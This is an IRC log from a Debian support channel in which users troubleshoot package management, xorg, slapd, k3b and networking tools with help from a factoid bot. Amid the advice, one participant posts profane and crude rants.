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| 03:17.52 | cast | <3 irssi. thats how restarting apps should work |
| 03:18.08 | enouf | 19:58 < enouf> hi Soliton .. i'm viewing the source http://scripts.irssi.org/html/people.pl.html and IINM., i'd need to setup some sort of "people_color_friends" list? i don't want to add various people to some list --or-- i could color_everybody - but they'd all be the SAME color? Unless i start with regex and variables and shit? |
| 03:18.18 | enouf | what a fucken DUMP |
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| 03:18.47 | enouf | you funcken perl monkees suck my ass |
| 03:19.05 | enouf | er fucken* heh |
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| 03:22.25 | cast | i'd write a script, when someone finishes irssi-python :( |
| 03:22.33 | enouf | cast: you obviously have no clue |
| 03:23.02 | cast | and why do you say that? |
| 03:23.08 | enouf | cast: i'm sorry for coming off as offensive - sorry |
| 03:23.39 | enouf | cast: the frustration factor of the simplicity for coding monkees makes me vomit on my kids |
| 03:24.06 | enouf | and then .. i beat them up ... for getting all dirty |
| 03:24.19 | cast | so what am i clueless about, how easy it is? |
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| 03:24.50 | enouf | cast: obviously sirc/dsirc/ksirc have EASILY done it .. those are coded in PERL |
| 03:25.00 | enouf | i've even hacked their libs! |
| 03:25.09 | enouf | asnd i cannot code ... heh |
| 03:25.19 | cast | looks around |
| 03:25.51 | cast | you seem to have read some false meaning into what i said |
| 03:25.53 | enouf | yet, i can make ksirc sign on greeting you with FUCK-YOUR-MOMMA |
| 03:26.03 | cast | i just don't know perl. [nor want to] |
| 03:26.09 | enouf | cast: misunderstandings are common on irc |
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| 03:27.09 | enouf | so STFU please - and all you perl monkees can suck my ASS .. i'll do it myself, then keep it to myself .. just to spite your dumbassses |
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| 03:28.19 | cast | aha. |
| 03:28.29 | enouf | cast: your fault was in replying to "23:08 < enouf> listen man .. one of you guys should program a "proper and working" nickcolorizing script" (not that there was "fault" but you see) |
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| 03:28.51 | enouf | rather than dicking around with Booting GRUB into Windows ... lmao |
| 03:29.09 | cast | are you high? |
| 03:29.11 | ilj | apt-get install $PACKAGE says: Score is 63 . huh? what does it mean? |
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| 03:29.25 | enouf | cast: most humans are NOT color-blind |
| 03:29.37 | cast | ilj: it gives a score if there are multiple options, depending on how suitable it thinks each outcome is |
| 03:29.43 | enouf | if colors do NOT represent visual cues, then you might as well be dead |
| 03:29.58 | ilj | cast, how does one interpret this um.. input? |
| 03:30.36 | cast | ilj: wouldn't worry about it, by default i believe aptitude will present the highest scoring options first |
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| 03:30.56 | enouf | note; i mentioned nothing about "eyesight" so hence; no offense to the blind |
| 03:31.02 | cast | ilj: read what it's wanting to do and judge for yourself, aptitude can only guess as to the best solution |
| 03:31.11 | ilj | cast, http://pastebin.com/d354800a8 scope this out |
| 03:31.17 | enouf | and that's another issue .. entirely |
| 03:31.56 | ilj | cast, "highest scoring option"? meaning what exactly? where can I read about this scoring concept? |
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| 03:32.24 | cast | ilj: not sure where it's documented |
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| 03:32.48 | ilj | :( |
| 03:33.00 | ilj | I hate it when things aren't documented |
| 03:33.21 | ilj | also "python-gnome2: Depends: python2.4-gtk2 which is a virtual package." what does it really say here? |
| 03:33.34 | cast | everything with sourcecode is documented :P |
| 03:33.44 | ilj | word =) |
| 03:33.54 | jaggz- | :) |
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| 03:34.46 | ilj | do you think it's safe to answer Y in my case? |
| 03:34.51 | enouf | gee .. i wonder why the "Frontline" narrator is doing BMW TV commercials ... lmao |
| 03:34.57 | iluminator101 | k3b when i try to start it or is slow on debian sqeeze with gnome |
| 03:35.12 | iluminator101 | hangs* |
| 03:36.16 | enouf | iluminator101: a© kde and gnome define the term "bloat" b) strace the sucker c) check iotop output and d) see man vmstat |
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| 03:36.33 | cast | ilj: i didn't look too closely |
| 03:36.46 | JordiGH | Do I need a server layout section in xorg.conf for my synaptics options to register? |
| 03:36.46 | ilj | i see |
| 03:37.17 | enouf | JordiGH: you _need_ no xorg.conf |
| 03:37.19 | iluminator101 | hmm...i gotta go but I will Back Thanks |
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| 03:37.26 | cast | ilj: looks fine |
| 03:37.31 | JordiGH | enouf: Yes, I do. I need to disable the damn touchpad tappig. |
| 03:37.35 | JordiGH | tapping. |
| 03:38.06 | enouf | JordiGH: it should autoconfigure what your brain desires |
| 03:38.12 | JordiGH | It's a matter of life and death. I even broke the Shabbath just working to disable touchapd tapping. |
| 03:38.31 | JordiGH | It didn't. The touchpad is registering taps as clicks. |
| 03:38.38 | ilj | cast, okay here I hit Y+Enter ... ^__^ |
| 03:38.47 | enouf | JordiGH: why on earth do you thing the concept of "autoconfigure" exists? |
| 03:38.56 | enouf | JordiGH: it can "read your mind" |
| 03:38.57 | JordiGH | And while I have read synaptics(5), it doesn't look like X is listening to it. |
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| 03:39.09 | kdeuser^ | Hi |
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| 03:39.36 | kdeuser^ | I want to install vlc 1.0 that is available in sid repos |
| 03:39.48 | JordiGH | Listening to my xorg.conf. Looking at Xorg.0.log, I'm guessing the issue is that it doesn't have a server layout section, but a server layout section needs a screen section. |
| 03:39.50 | kdeuser^ | I am currently using debian lenny 5.0.2 |
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| 03:39.55 | JordiGH | Erm, a screen option. |
| 03:40.15 | kdeuser^ | can I just add the sid repo to my sources.list and install vlc |
| 03:40.35 | kdeuser^ | I already have vlc installed, so I removed it using apt-get remove vlc |
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| 03:41.51 | craigevil | !tell kdeuser^ about ssb |
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| 03:42.43 | enouf | JordiGH: wish i could help , but i know nothing about many things - especially stupid craptops |
| 03:42.53 | JordiGH | enouf: eeepc! |
| 03:42.58 | JordiGH | It's a "netbook". |
| 03:43.13 | JordiGH | i.e. iCrap. |
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| 03:43.21 | enouf | why not call it Marilyn Monroe? |
| 03:43.32 | enouf | then you _might_ get my attention |
| 03:44.00 | enouf | !iPoopsmite JordiGH |
| 03:44.19 | nevyn | ipoopsmite? srsly? |
| 03:44.26 | craigevil | JordiGH: there was something on the debianeeepc wiki about how to disable the touchpad |
| 03:44.26 | enouf | even the Daily Show did an iFart parody |
| 03:44.50 | enouf | !eeepc |
| 03:44.50 | dpkg | The Eee PC (aka RM Asus Minibook) is a <netbook> designed by Asus. Linux models are supplied with <Xandros> and are not supported in #debian. To install Debian, see http://wiki.debian.org/DebianEeePC for installation and configuration details. See also <atl2>, <atl1e>, <rt2860 eee>. Mailing list: http://alioth.debian.org/mail/?group_id=31309 #debian-eeepc on irc.oftc.net. |
| 03:44.54 | JordiGH | craigevil: I don't want to disable it altogether, just disable tapping. I'll try with a server layout section. |
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| 03:45.10 | enouf | Xandros can suck my sperm whale balls |
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| 03:45.56 | ranix | enouf: wtf is wrong with you |
| 03:46.01 | JordiGH | Uhm, not using Xandros. |
| 03:46.04 | JordiGH | Using Debian. |
| 03:46.14 | tawan | how do i set up so i can get from last desktop to fist desktop in a loop and not have to toggle backwards? |
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| 03:46.25 | enouf | ranix: just playing along with my schizoid friends ;-) |
| 03:46.47 | enouf | tis a sad disease though |
| 03:46.53 | JordiGH | tawan: With metacity? |
| 03:46.57 | kdeuser^ | craigevil: Can I have lenny`s deb-src also enabled in my repo list ? |
| 03:47.02 | tawan | JordiGH, openbox |
| 03:47.06 | enouf | and colorblind coders makes it worse |
| 03:47.30 | tawan | delves into some text files |
| 03:47.59 | JordiGH | tawan: Oh. I was wondering, 'cause I think metacity already does that by default. |
| 03:48.17 | enouf | and we |
| 03:48.39 | enouf | and we're not talkin about 64K shades of grey |
| 03:48.42 | craigevil | kdeuser^: i would thinks, not sure i just run sid and vlc hates me |
| 03:49.08 | enouf | we're talking 8 from the 3 primary ones, haha |
| 03:49.12 | JordiGH | wonders what the 1.0 vlc has. |
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| 03:49.49 | enouf | i'd even settle for the 3 primary ones at this point |
| 03:49.59 | craigevil | JordiGH: it comes with cute puppies and candy |
| 03:50.07 | kdeuser^ | craigevil: anyway the build-deb says one dep src deb is not there |
| 03:50.11 | enouf | and kittenhuffin kits |
| 03:50.17 | kdeuser^ | I think will stick with this or update to testing later |
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| 03:50.29 | JordiGH | craigevil: sweet. |
| 03:50.41 | enouf | goes ... /me over-ranted ... sorry |
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| 03:55.42 | tawan | / |
| 03:55.44 | sanmarcos | debian-br is mais grande do mundo |
| 03:55.52 | Ederson | :D |
| 03:56.06 | Ederson | sorry, forgot / |
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| 04:18.37 | lafrance | sorry to ask again lost log :( what the program name to monitor trafic via ssh? |
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| 04:20.16 | skeletal | guys, i need help, please! I download the youtube-dl.sh but, in the terminal when I type "./youtube-dl.sh" show it "deny permission". What can I do? Yes, i'm with root. |
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| 04:22.59 | tawan | the command is just youtube-dl http://movie.address |
| 04:23.49 | nvz | what might I use for a systematic, searchable means of making digital notecards when doing research? |
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| 04:24.12 | nvz | other than echo and grep.. lol |
| 04:24.12 | owen1 | any recomendation for remote desktop app? |
| 04:25.01 | beardy | !rdp |
| 04:25.01 | dpkg | methinks rdp is an acronym. ask me about <remote desktop protocol> or <reliable datagram protocol>, or apt-get install rdesktop |
| 04:25.18 | nvz | owen1: gnome-rdp, krdc |
| 04:25.35 | beardy | He means "aptitude install". |
| 04:25.46 | enouf | !installit |
| 04:25.47 | dpkg | *** NEWS FLASH! *** Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. If someone suggests an application to you, it's highly likely that it's available via apt-get or aptitude. |
| 04:26.31 | owen1 | nvz: thanks, is there anything lightweight? |
| 04:26.47 | enouf | digital notecards? |
| 04:27.04 | owen1 | (-: |
| 04:27.12 | enouf | owen1: no, linux is bloated = try windows vista |
| 04:27.17 | enouf | runs |
| 04:27.18 | tawan | wow how did you do that upsiddown :-) ? |
| 04:28.09 | beardy | Haha ... |
| 04:28.36 | enouf | !aggregatesmite nvz |
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| 04:30.02 | enouf | is frightened of self-aggregators .. huge teeth, nasty fangs |
| 04:30.10 | enouf | it's a wabbit |
| 04:30.17 | JordiGH | enouf: You're acting weird today. |
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| 04:30.34 | enouf | thank you |
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| 04:31.11 | JordiGH | Where's abrotman to lay the smackdown for OT when you need him? |
| 04:32.26 | enouf | tawan: "it's just a jump to the left ...." |
| 04:32.48 | tawan | and a step to the rii ii ii iiight |
| 04:33.02 | enouf | attaboy ;-) |
| 04:33.08 | lafrance | anyone know a good ap like htop to monitor trafic |
| 04:33.27 | lafrance | not gui for ssh |
| 04:33.47 | enouf | o/~ put your hands on your hips ... o/~ |
| 04:34.10 | lafrance | step to to right |
| 04:34.16 | enouf | AP or app ? |
| 04:34.17 | JordiGH | AND IT'S THE PELVIC THRUST |
| 04:34.19 | beardy | lafrance: vnstat, iptraf, tcpcountrack, iftop |
| 04:34.24 | enouf | ntop? |
| 04:34.26 | aspect | iftop's not bad |
| 04:34.39 | lafrance | thank you all |
| 04:34.40 | enouf | iftop is ok -- GUI == etherape |
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| 04:36.06 | lafrance | aspect perfect thanks |
| 04:36.20 | Lagbolt | is there a quick how to to setup a simple IP forwarding? |
| 04:36.35 | enouf | !ipmasq |
| 04:36.35 | dpkg | If all you want is NAT (internet connection sharing), aptitude install ipmasq; and be happy. Otherwise learn about it at http://www.tldp.org/HOWTO/IP-Masquerade-HOWTO/ |
| 04:36.51 | Lagbolt | thanks |
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| 04:40.36 | jmoncayo | hey guys, what are the packages i need to install to get the stdio.h and other C libraries? |
| 04:40.40 | enouf | Jordi o/~ no, we're never gonna surrr vive ... unless ... we get a little craaaazy... o/~ |
| 04:41.18 | beardy | !b-e jmoncayo |
| 04:41.18 | dpkg | jmoncayo: Sounds like you need to aptitude install build-essential. |
| 04:41.23 | enouf | jmoncayo: c libs? how about build-essential ? |
| 04:41.28 | jmoncayo | thanks a lot |
| 04:41.46 | enouf | jmoncayo: install manpages-dev as well |
| 04:41.58 | adb | /usr/include/c++/4.3/tr1/stdio.h |
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| 04:42.05 | enouf | jmoncayo: /msg dpkg gcc-doc |
| 04:42.36 | jmoncayo | oki |
| 04:42.47 | enouf | libc6-dev: /usr/include/stdio.h |
| 04:43.22 | tawan | is op on #linuxmint on spotchat and is helping someone who can't use pastebin |
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| 04:52.57 | iluminator101 | enouf: k3b slow to startup and hanging on startup |
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| 04:54.25 | craigevil | k3b works here but i dont run it in kde |
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| 04:56.20 | Kamping_Kaiser | whats the factoid for dpkg about stables gpg key change? |
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| 04:56.56 | tawan | !factoids search stables |
| 04:57.11 | craigevil | !key |
| 04:57.11 | dpkg | extra, extra, read all about it, key is Install the latest debian-archive-keyring package to get the latest gpg key used to sign the Debian archive |
| 04:57.44 | Kamping_Kaiser | craigevil: thanks |
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| 05:02.47 | physicspackage | !aptitude |
| 05:02.48 | dpkg | aptitude is probably a terminal-based package manager that can be used in a command-line mode (aptitude install foo ; aptitude remove goo) as well as a text user interface mode (just run "aptitude"). Ask me about <why aptitude> <why not aptitude> <aptitude-fu> or see http://wiki.debian.org/Aptitude |
| 05:03.40 | physicspackage | dpkg: why aptitude |
| 05:03.40 | dpkg | aptitude has more advanced conflict/dependency resolution than other tools, it has far more advanced searching available, and will automatically uninstall unneeded dependencies, read /usr/share/doc/aptitude/README for more info. Aptitude can also remove or purge one package at the same time as installing others all from the command line, making it much easier to recover from broken dependencies. |
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| 05:04.07 | izua | why not aptitude |
| 05:04.21 | physicspackage | dpkg: why not aptitude |
| 05:04.22 | dpkg | Aptitude uses more memory than apt-get and this is about the only reason not to use it as a replacement for the more primitive frontend to libapt that apt-get provides you with. Aptitude also suffers from some bugs that apt-get doesn't have but the converse is also true. Note that aptitude can't download source packages for you but that's no reason to not use aptitude for all your binary package handling. |
| 05:05.06 | physicspackage | Dpkg: aptitude fu |
| 05:05.07 | dpkg | To list uninstalled recommended or suggested packages: aptitude search '~RBrecommends:~i!~i'; upgradeable packages: aptitude search '~U'; manually installed packages: aptitude search '~i!~M'; install without recommends but not uninstalling other recommends: aptitude install -R -o Aptitude::Keep-Recommends=true See also <aptitude why>. |
| 05:05.45 | physicspackage | dpkg: you pile |
| 05:05.46 | dpkg | I resemble that remark! |
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| 05:06.37 | physicspackage | dpkg: you pile ' o perl you! Thnkx |
| 05:06.37 | dpkg | I resemble that remark! |
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| 05:07.51 | physicspackage | izua: Yo. |
| 05:08.35 | iluminator101 | Do i need to add special permission to run k3b as non root user |
| 05:09.12 | craigevil | you shouldnt have to |
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| 05:10.05 | iluminator101 | k3b hangs on creating gui...i wonder why |
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| 05:12.05 | enouf | Kamping_Kaiser: i know you found out but, "<new archive key>" |
| 05:12.33 | iluminator101 | enouf: can you please go over what you said before about k3b |
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| 05:14.45 | enouf | iluminator101: older 2.6.8 era kernels required setgid root bit |
| 05:15.30 | craigevil | iluminator101: you might check the BTS especially if your running k3b in kde4 |
| 05:16.04 | enouf | http://lwn.net/Articles/193516/ |
| 05:16.15 | enouf | iluminator101: ^^^^^ |
| 05:16.43 | craigevil | hehehe "Burning data to a CD or DVD is a complicated task, involving the use of a wide range of SCSI commands" |
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| 05:17.56 | enouf | craigevil: keep reading ..for more laughs |
| 05:18.43 | enouf | ".... catch fire, or replace music tracks with recordings of Richard Stallman singing." |
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| 05:28.56 | Badis | what kernel is debian stable using atm? |
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| 05:32.59 | Supaplex | !search |
| 05:33.00 | dpkg | Please search for things rather than just asking, e.g. 'apt-cache search regex', or with <aptitude search>. The following ways can locate packages that own a file (installed, or candidate for install): 'dpkg -S /bin/foo', <apt-file>, <pdo> (online) and <help find> (bot). <search dpkg> for factoids. See http://wiki.debian.org/WhereIsIt and ask me about <bot help>. |
| 05:33.02 | Supaplex | Badis: ^^^ |
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| 05:34.17 | cast | hey wait, no more alsaconf |
| 05:34.41 | adb | !alsaconf |
| 05:34.42 | dpkg | alsaconf is a formerly included <ALSA> configuration tool to detect sound cards. Removed from 'alsa-utils' at 1.0.17-1: "The only valid use-case for alsaconf is aiding the configuration of ISA sound cards." Ask me about <install alsa> and <alsa checklist>. See also http://svn.debian.org/wsvn/pkg-alsa/trunk/alsa-utils/debian/NEWS |
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| 05:35.29 | cast | thats where i found out no more alsaconf :P |
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| 05:56.03 | Supaplex | dpkg: cidr |
| 05:56.04 | dpkg | [cidr] Classless Inter-Domain Routing, see RFC1517/1518/1519/1520.. See http://www.sput.nl/software/cidr-routing.html maybe, or and http://en.wikipedia.org/wiki/CIDR |
| 05:56.07 | CutMeOwnThroat | so what am I gonna do with all the isa soundcards I got |
| 05:56.16 | CutMeOwnThroat | *sniff* |
| 05:56.17 | Supaplex | dpkg: cidr is also http://docs.google.com/View?id=ajhrzck79vcg_76dsfd8t4b |
| 05:56.18 | dpkg | okay, Supaplex |
| 05:56.43 | Supaplex | uhm.. process them for gold? |
| 05:56.47 | CutMeOwnThroat | hehe |
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| 05:57.04 | Supaplex | CutMeOwnThroat: you like the google doc? :) |
| 05:57.05 | CutMeOwnThroat | I doubt even alsaconf could do that |
| 05:57.20 | CutMeOwnThroat | no, gold |
| 05:58.05 | CutMeOwnThroat | mm |
| 05:59.07 | CutMeOwnThroat | hell, another hour of my life gone |
| 05:59.08 | CutMeOwnThroat | amazing |
| 05:59.58 | Supaplex | sacks the TCO right in the face eh? |
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| 06:10.13 | dvst_ | hi everybody |
| 06:10.25 | dvst_ | i got a question of slapd |
| 06:10.43 | dvst_ | i'm trying to configure it via dpkg-reconfigure |
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| 06:10.58 | dvst_ | but it seems that it doesn't touch the /etc/ldap/slapd.conf file |
| 06:11.53 | dvst_ | i backup the /var/lib/ldap/ directory, delete the content hoping to rebuild it with dpkg-reconfigure slapd |
| 06:12.47 | dvst_ | but even if i answer the questions, it does nothing, slapcat shows error for the inexistent db |
| 06:12.58 | dvst_ | is this a bug? i miss something? |
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| 06:18.24 | CutMeOwnThroat | !confmiss |
| 06:18.38 | CutMeOwnThroat | dpkg, you're there? |
| 06:18.39 | w9fyi | Is there a way that i can update from Lenny to testing of sid? |
| 06:18.49 | CutMeOwnThroat | bah |
| 06:19.31 | CutMeOwnThroat | dvst_, if you delete configuration files, dpkg will suppose you want them deleted and not touch them |
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| 06:20.33 | CutMeOwnThroat | you have to supply --force-confmiss to force it to redo deleted files |
| 06:20.54 | CutMeOwnThroat | or you remove the package including all configuration with dpkg --purge package and then install it again |
| 06:21.07 | w9fyi | How does one go about updating from the stable verson of debian to sid? doing this as i need to get a lter version of gnome and orca |
| 06:21.09 | dvst_ | CutMeOwnThroat, i didn't delete the conffiles (/etc/...) , but the database (/var/lib/ldap/*), i had do it before and with a dpkg-reconfgure slapd it get reconstructe |
| 06:21.10 | dvst_ | d |
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| 06:22.24 | w9fyi | I apologize for such a newbie question , but well, I am a newbie |
| 06:22.37 | Supaplex | !sid |
| 06:22.42 | CutMeOwnThroat | dpkg seems dead |
| 06:22.45 | Supaplex | darn bot is mia |
| 06:22.52 | Supaplex | apt: sid |
| 06:22.53 | apt | hmm... sid is the unstable version of Debian. Don't use it unless you know what you're doing, or it can break horribly. a kid in "Toy Story" who was "unstable" and would break toys. There's no reason to backronym Debian/sid to "Still in Development", or see sid faq. sid requires use of bts (by design) or ELSE! |
| 06:22.53 | CutMeOwnThroat | w9fyi, if you have to ask that you probably shouldn't use sid |
| 06:23.22 | CutMeOwnThroat | w9fyi, because you'll not be prepared for the trouble that sid will throw on you |
| 06:23.23 | Supaplex | w9fyi: stick with lenny. why do you need sid anyway? |
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| 06:23.35 | ranix | apt, bts |
| 06:23.35 | apt | rumour has it, bts is a bug tracking system, or http://bugs.kde.org |
| 06:23.37 | Supaplex | if sid breaks, you get to keep the pieces. |
| 06:23.45 | Supaplex | s/if/when/ |
| 06:24.28 | CutMeOwnThroat | w9fyi, to answer the question regardless - you edit /etc/apt/sources.list to include a repository for testing (or testing and sid) and do aptitude update;aptitude save-upgrade |
| 06:24.35 | w9fyi | I doing this so that i can get a later version ofgnome and 2.22... later versions of gnome have an updated aat-spi interface and will hopefuly have a better working version of icedove |
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| 06:25.40 | ranix | w9fyi: you probably want to backport icedove, and forget about gnome |
| 06:25.43 | CutMeOwnThroat | Supaplex, that sid factoid doesn't look like it's the same as dpkgs... more like horribly outdated |
| 06:25.54 | Supaplex | yez |
| 06:25.56 | Supaplex | alas |
| 06:25.57 | ranix | apt is outdated |
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| 06:26.09 | Supaplex | apt: you are the weakest link |
| 06:26.10 | apt | I think you lost me on that one, Supaplex |
| 06:26.17 | Supaplex | hence, why... |
| 06:26.31 | jmoncayo | hey guys, what do i need for thread.h ? |
| 06:26.53 | Supaplex | apt-file search thread.h |
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| 06:27.08 | w9fyi | Is there an easier way to go about doint what I'm trying to do? the whole issue is that the current version of icedove/thunderbird doesn't work with orca... it's not totally accessible |
| 06:27.10 | ranix | to about when etch was half-released and sid was slushy for the rc testing |
| 06:27.13 | Supaplex | jmoncayo: what are you compiling? |
| 06:27.36 | dvst_ | CutMeOwnThroat, the thing is... |
| 06:28.03 | dvst_ | CutMeOwnThroat, dpkg-reconfigure slapd should create a new slapd.conf and his db ? |
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| 06:28.34 | jmoncayo | Supaplex: a C socket server with thread instead of fork |
| 06:28.39 | CutMeOwnThroat | apt, confmiss |
| 06:28.40 | apt | the reason you have to use dpkg --force-confmiss is because whenever your config files are gone, dpkg assumes you deleted them on purpose, and that you want them to stay deleted. This is usually not the case.... |
| 06:28.51 | CutMeOwnThroat | I still think this applies |
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| 06:29.02 | CutMeOwnThroat | no, it shouldn't - definitely not slapd.conf |
| 06:29.07 | CutMeOwnThroat | did you ever read what I wrote? |
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| 06:29.45 | w9fyi | I'm not sure if I saw it come over... |
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| 06:31.54 | dvst_ | CutMeOwnThroat, yes, you tell me that the flag works when i delete the conf file, which isn't this case |
| 06:32.39 | dvst_ | CutMeOwnThroat, i reinstall the package and the same, let me purge and installe (just like you say (see? i read it ;)) |
| 06:32.46 | CutMeOwnThroat | I also told you to use dpkg --purge to remove the whole package if you really want to 'start over' with it |
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| 06:32.52 | jmoncayo | Supaplex: can you help me with a C socket program? |
| 06:33.08 | Supaplex | I can barely #define my way out of a wet paper bag. sorry. |
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| 06:33.34 | Supaplex | try #c++ on freenode or irc.debian.org. I forget where they hang. |
| 06:33.40 | Supaplex | 's off to drive home |
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| 06:35.39 | dvst_ | CutMeOwnThroat, ok, i still think there is a problem with something (not between the keyboard and chair btw) |
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| 06:36.31 | CutMeOwnThroat | dvst_, if it doesn't install a full package after --purge, check if you purged the correct package, else look into the bts and file a bug report if you think it's just installing an uncomplete package |
| 06:36.35 | dvst_ | i just purge it and install it, it ask me for a password, nothing more, when i do the dpkg-reconfigure... for more that i answer, is like nothing |
| 06:37.00 | dvst_ | CutMeOwnThroat, not sure if you understand me |
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| 06:37.35 | dvst_ | or if a don't know how let you see my problem |
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| 06:41.27 | CutMeOwnThroat | doesn't it ask you 'Omit OpenLDAP server configuration?" |
| 06:41.33 | CutMeOwnThroat | what version of debian is this anyway? |
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| 06:43.05 | dvst_ | CutMeOwnThroat, lenny, is the first question, if i say "yes" it does nothing (... better say that it quits, cuz if i say "no" and continue it doesn't do anything (aparently) neigther) |
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| 06:43.43 | CutMeOwnThroat | did you look in the bts? |
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| 06:44.40 | ghastige | Hi I am on 5.0.2 and I believe that I am having video issues. Whenever I scroll a webpage with a lot of content my scroll becomes very choppy/slow. I put VideoRam 131072 in my xorg.conf and I am running on the correct driver for my onboard video chip. |
| 06:44.52 | ghastige | It is the intel GM45 that comes in the dell 1545 |
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| 06:45.46 | CutMeOwnThroat | "webpage with a lot of content" sounds more like you're swapping or bloody iceweasel is eating up all cpu |
| 06:45.59 | CutMeOwnThroat | or 100 little flash movies run at the same time |
| 06:46.05 | dvst_ | CutMeOwnThroat, which should i look? dpkg or slapd? i guess i see both |
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| 06:46.46 | CutMeOwnThroat | slapd |
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| 06:47.06 | CutMeOwnThroat | this wouldn't be a bug in dpkg, but in the package |
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| 06:47.52 | CutMeOwnThroat | night |
| 06:48.44 | ghastige | CutMeOwnThroat: xorg takes about 80-90% of the cpu when I scroll. This machine has 4gb of ram and is a 2.0 dual core. |
| 06:49.14 | ghastige | interesting |
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| 06:50.48 | fxiny | ghastige: any web page ? |
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| 06:51.34 | ghastige | fxiny: no, mainly web pages with lots of content. |
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| 06:52.55 | fxiny | ghastige: how large is your iceweasel cache ? advanced -> network |
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| 06:53.04 | ghastige | vista used to be on this and it did not happen in Vista but I cannot deal with Vista/MS |
| 06:53.37 | ghastige | fxiny: 50mb |
| 06:53.54 | tawan | ghastige: maybe 2 instances of iceweasel or flash ruiing |
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| 06:54.00 | fxiny | ghastige: same as my PII 400 , i have no porbs scrolling |
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| 06:55.25 | tawan | cpu at 100%? |
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| 06:56.05 | fxiny | that's normal |
| 06:56.22 | ghastige | tawan: yeah it hits about 90% at peak but it is choppy as hell and lags big time |
| 06:56.40 | tawan | killall iceweasel |
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| 06:57.46 | fxiny | i can see my cpu mem ans swap usage all the time . xmonad xmobar displays it . iceeasel pushes cpu up to 100 mmany times . |
| 06:58.21 | fxiny | ghastige: how many iceweasel are running ? : pgrep -f iceweasel |
| 06:58.41 | ghastige | 1 |
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| 06:59.43 | fxiny | like now : cpu 75% mem 75.5 swap 7.9 only |
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| 07:00.17 | fxiny | ghastige: check top or htop , whatever |
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| 07:01.38 | ghastige | fxiny: I have I will run top -cbn in a loop every second and I see that my cpu peaks out |
| 07:01.44 | ghastige | memory use stays normal |
| 07:01.56 | ghastige | I am going to tweak my xorg brb |
| 07:02.09 | fxiny | yes , cpu goes up and down , its' iceweasel |
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| 07:03.07 | fxiny | as i said i have a pretty nice display , handy with a old box like mine , lenny performances are very good . forget vista |
| 07:03.19 | fxiny | :) |
| 07:03.47 | fxiny | gauge: try increasing the cache |
| 07:03.50 | fxiny | oops |
| 07:03.58 | fxiny | gauge: tab competion on the way |
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| 07:05.59 | hid3 | Morning evryone. My network configuration is obtained through a DHCP server. The DHCP gives me IP/netmask/gateway and also DNS servers: it modifies the resolv.conf bu also adds two lines there: "search mydomain.com" and "domain mydomain.com". When I try to do a "wget www.google.com" for example, in tcpdump I can see it asks the DNS server to resolve www.google.com and www.google.com.mydomain.com. If I comment out the domain and search directives |
| 07:06.30 | hid3 | *those lines back |
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| 07:07.35 | rozie | hid3: and the problem is...? |
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| 07:11.17 | TomHome | what the hell is rotating mail.log and all the default logs with a Debian Lenny ? |
| 07:11.20 | Myth` | Hmm, so I just messed up. Tried setting a static IP and now I can't SSH the box. I have physical access but no monitor. |
| 07:11.29 | Myth` | Any suggestions? |
| 07:11.38 | TomHome | it used to be syslogd but I can't find it anymore |
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| 07:12.16 | fxiny | TomHome: you forgot to upgrade to rsyslog |
| 07:12.40 | hid3 | rozie: why to send useless requests? That's the problem... |
| 07:12.52 | TomHome | I know it's rsyslog on lenny, I just don't know where I can configure the rotation |
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| 07:14.02 | cast | Myth`: boot off external media that happens to start a sshd, with a password preferably known only to you |
| 07:14.08 | BoltPwer56 | After plugin a usb drive how can i tell what device node i will take? |
| 07:14.24 | dvst_ | CutMeOwnThroat, hey, look what i found |
| 07:14.30 | dvst_ | CutMeOwnThroat, * slapd/no_configuration: true |
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| 07:15.06 | fxiny | TomHome: /etc/logrotate.d/rsyslog ? |
| 07:15.13 | dvst_ | in the debconf information, i think this is part of the problem, i was just about to report a bug (doesn't show in the list) |
| 07:15.19 | rozie | hid3: do you use dhcp3-client? |
| 07:15.30 | TomHome | ... |
| 07:15.42 | TomHome | fxiny: how dumb am I !! cheers mate |
| 07:15.50 | TomHome | it's there |
| 07:15.51 | rozie | check out man dhclient then |
| 07:15.53 | fxiny | TomHome: np :) |
| 07:16.06 | rozie | it allows to override lots of options |
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| 07:16.58 | hid3 | rozie: yes |
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| 07:17.07 | hid3 | thanks, will check it |
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| 07:18.38 | ghastige | getting better performance using fluxbox as my wm |
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| 07:18.50 | ghastige | I think that I just need to keep tweaking it |
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| 07:19.28 | ghastige | Thanks fxiny and * |
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| 07:20.21 | fxiny | ghastige: fluxbox ?i used fluxbox in etch but i have much better performances using xmonad in lenny |
| 07:20.57 | TomHome | xmonad looks like ion |
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| 07:21.41 | ghastige | I have not used xmonad... Is it written in haskell or something? |
| 07:21.43 | ghastige | Why is is called xmonad |
| 07:21.52 | ghastige | !google xmonad |
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| 07:22.18 | fxiny | yes , no ned to know haskell to run it , debian provides a huge examples collection , pretty intuitive stuff |
| 07:22.21 | fxiny | need* |
| 07:23.00 | ghastige | yeah |
| 07:23.05 | ghastige | I am going to check that out |
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| 07:24.37 | BoltPwer56 | Sorry if this is a stupid ? but for the life of me I can not find what device my usb drive is? what is the best why? |
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| 07:26.02 | cast | BoltPwer56: plug it in, run dmesg |
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| 07:28.04 | BoltPwer56 | cast: Thanks, any other cools ways you know? |
| 07:29.12 | cast | BoltPwer56: hundreds. |
| 07:29.15 | Supertanker | I'm having a very odd problem; some of my windows (Notably Konsole and Open Office) are randomly activating their menus, as though I were pressing Alt (But not pressing a key afterwards) |
| 07:29.32 | Supertanker | However, it happens while I am not even touching the keyboard, and happens fairly regularly |
| 07:29.35 | Supertanker | Any ideas? |
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| 07:30.16 | b0nn | hrm, i just installed package git, but when I issue the command git clone, I get "git not found" |
| 07:30.39 | pingouin | why would a debian lenny amd64 only show 3888 ram in free -m (or cat /proc/meminfo) with a 4 dimm of 1G installed ? |
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| 07:30.53 | cast | b0nn: install git-core, and read pkg descriptions |
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| 07:31.07 | Supertanker | Scratch that; Kcontrol does it too |
| 07:31.14 | Supertanker | I think it does it with any window. |
| 07:31.38 | cast | pingouin: do all OSes report the same? |
| 07:31.40 | b0nn | cast: heh, ta, was following a tute, that's wrong]\ |
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| 07:32.15 | pingouin | cast: a debian etch, with highmem activated, report 4053 |
| 07:32.40 | cast | pingouin: oh, and what does debian amd64 report? |
| 07:32.40 | pingouin | cast: etch...32 bits |
| 07:32.55 | pingouin | cast: as i wrote : 3888 |
| 07:32.57 | cast | ahh sorry. you said amd64 |
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| 07:33.28 | pingouin | cast: yeah it's the only oS i have under hands ;) |
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| 07:33.34 | jaggz- | !keyring |
| 07:33.34 | dpkg | rumour has it, keyring is a circular ring of metal for holding keys... in the context of debian, the public gpg keys. |
